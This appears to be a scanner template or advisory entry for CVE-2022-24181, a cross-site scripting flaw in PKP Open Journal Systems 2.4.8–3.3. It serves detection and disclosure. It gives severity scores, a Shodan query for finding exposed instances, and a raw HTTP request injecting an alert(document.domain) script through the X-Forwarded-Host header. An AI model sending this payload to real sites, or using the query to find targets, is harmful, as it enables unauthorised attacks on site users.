| Title | PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting |
|---|---|
| Author | lucasljm2001,ekrause |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04272 |
| CVE ID | CVE-2022-24181 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems" |
| Tags | cve cve2022 xss oss pkp-lib edb public_knowledge_project vuln |
PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
GET /iupjournals/index.php/esj HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com
Accept-Encoding: gzip
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